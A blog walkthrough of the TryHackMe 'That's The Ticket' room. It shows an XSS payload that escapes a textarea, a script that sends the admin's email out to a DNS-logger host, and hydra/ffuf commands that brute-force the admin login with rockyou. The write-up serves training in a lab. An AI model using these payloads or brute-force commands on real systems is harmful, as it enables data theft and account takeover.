Skip to content
TryHackMe1 min read

THM - That's The Ticket

That's The Ticket - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



THM - That's The Ticket#

NMAP

image1

  • Visit website: Register an account

  • Inspecting the message field:

image2

  • We can try XSS: (Close off the existing textarea tag first)
js
</textarea> <script>alert(1)</Script> 

or use prompt(1) instead

image3

  • It's vulnerable

  • The cookies are set as HttpOnly and could not be extracted by XSS directly

image4

  • Room hint:

image5

image6

  • Using the XSS vulnerability, do a call back to the DNS logger (above)

</textarea> <img src="http://079a105aecaee7a7a858eca97499a96e.log.tryhackme.tech">

  • Received 4 hits (3 from us and once from the server - maybe admin)

image7

  • Get Admin's email:

image8

text
</textarea>
<script>
    var email_first = document.getElementById("email").innerHTML.split("@")[0];
    var email_second = document.getElementById("email").innerHTML.split("@")[1];
    var href = "http://localhost." + email_first + "." + email_second + ".40a18b725233ea050562beb6ceaef55d.log.tryhackme.tech/test";
    new Image().src = href;
</script>

image9

Don't need subdomain in there really (localhost) - still works

image10

bash
hydra -l adminaccount@itsupport.thm -P /usr/share/wordlists/rockyou.txt 10.10.41.5 http-post-form "/login:email=adminaccount@itsupport.thm&password=^PASS^:Invalid"

ffuf -w /usr/share/wordlists/rockyou.txt -d "email=adminaccount@itsupport.thm&password=FUZZ" -u http://10.10.190.207/login -fw 475 -H "Content-Type: application/x-www-form-urlencoded"

<u>Another way:</u>

Clusterbomb - Save POST request from Burp and edit the parameters:

bash
ffuf -request post.txt -request-proto http -mode clusterbomb -w user.txt:UFUZZ -w /usr/share/wordlists/rockyou.txt:PFUZZ -fc 302

image11

123123

  • Log in with admin:

image12

image13

TryHackMe5 min

THM - Bandit

Bandit - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • command injection
  • linux
  • nmap
  • powershell
  • privilege escalation
TryHackMe2 min

THM - Ra2

Ra2 - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • gobuster
  • hashcat
  • john the ripper
  • nmap
  • powershell
TryHackMe2 min

THM - Ra

Ra - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • hashcat
  • john the ripper
  • linux
  • nmap
  • powershell